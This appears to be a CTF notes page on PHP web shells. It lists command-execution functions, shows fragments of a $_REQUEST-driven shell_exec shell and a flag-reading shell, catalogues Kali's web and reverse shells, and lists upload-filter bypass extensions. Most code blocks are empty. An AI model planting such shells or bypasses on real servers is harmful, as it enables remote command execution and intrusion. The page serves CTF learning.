> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/web-shells/php-web-shells.md). # PHP Web Shells A **web shell** is a [shell-like interface](https://en.wikipedia.org/wiki/Shell_$computing$) that enables a [web server](https://en.wikipedia.org/wiki/Web_server) to be remotely accessed, often for the purposes of cyberattacks. A web shell is unique in that a [web browser](https://en.wikipedia.org/wiki/Web_browser) is used to interact with it. A web shell could be programmed in any [programming language](https://en.wikipedia.org/wiki/Programming_language) that is supported on a server. Web shells are most commonly written in [PHP](https://en.wikipedia.org/wiki/PHP) due to the widespread usage of PHP for [web applications](https://en.wikipedia.org/wiki/Web_application). Though [Active Server Pages](https://en.wikipedia.org/wiki/Active_Server_Pages), [ASP.NET](https://en.wikipedia.org/wiki/ASP.NET), [Python](https://en.wikipedia.org/wiki/Python_$programming_language$), [Perl](https://en.wikipedia.org/wiki/Perl), [Ruby](https://en.wikipedia.org/wiki/Ruby_$programming_language$), and [Unix shell](https://en.wikipedia.org/wiki/Unix_shell) scripts are also used. ## Basic PHP web shells PHP supports several functions that can be used for web shells: * [exec](https://www.php.net/manual/en/function.exec.php) * [passthru](https://www.php.net/manual/en/function.passthru.php) * [shell\_exec](https://www.php.net/manual/en/function.shell-exec.php) * [system](https://www.php.net/manual/en/function.system.php) ### Minimal generic web shells Basic PHP only web shell that only works on GET-requests #### Exec based ```php ``` #### Passthru based ```php ``` #### Shell\_exec based ```php ``` #### System based ```php ``` ### Better generic web shell Better [$\_REQUEST-based](https://www.php.net/manual/en/reserved.variables.request.php) shell that work both with GET- and POST-requests ```php " . shell_exec($_REQUEST['cmd']) . ""; }; ?> ``` ### Minimal specific web shell Specific web shell to `cat` a specific file (e.g. the flag) ```php " . shell_exec('cat /etc/natas_webpass/natas13') . ""; ?> ``` ### Web shell in HTML page ```html

``` Credits to [joswr1ght](https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985) ## Kali web shells **webshells** is a collection of web shells for ASP, ASPX, CFM, JSP, Perl, and PHP servers.

tree /usr/share/webshells/

```bash root@kali:~# tree /usr/share/webshells/ /usr/share/webshells/ ├── asp │ ├── cmd-asp-5.1.asp │ └── cmdasp.asp ├── aspx │ └── cmdasp.aspx ├── cfm │ └── cfexec.cfm ├── jsp │ ├── cmdjsp.jsp │ └── jsp-reverse.jsp ├── perl │ ├── perlcmd.cgi │ └── perl-reverse-shell.pl └── php ├── findsock.c ├── php-backdoor.php ├── php-findsock-shell.php ├── php-reverse-shell.php ├── qsd-php-backdoor.php └── simple-backdoor.php 6 directories, 14 files ```

## Alternate extensions Alternate extensions to try instead of `.php` * php3 * php4 * php5 * php7 * phps * php-s * pht * phar * phtml * inc ## Useful PHP functions These PHP functions can possibly be used to execute code:

Function	Effect
`system`	Executes and prints output
`exec`	Executes, returns last line
`passthru`	Raw binary output
`shell_exec`	Returns full output as string
`popen`	Opens a process pipe
`proc_open`	Full process control
`assert`	Evaluates string as PHP (pre-PHP 8)
`preg_replace` (with `/e`)	Code eval via regex (PHP 5 only)

## Resources exec function - PHP Manual: passthru function - PHP Manual: php-reverse-shell.php - ivan-cincek - GitHub: php-reverse-shell - pentestmonkey - GitHub: Reverse Shell Generator - revshells.com: shell\_exec function - PHP Manual: system function - PHP Manual: webshells - Kali Tools: Web shell - Wikipedia: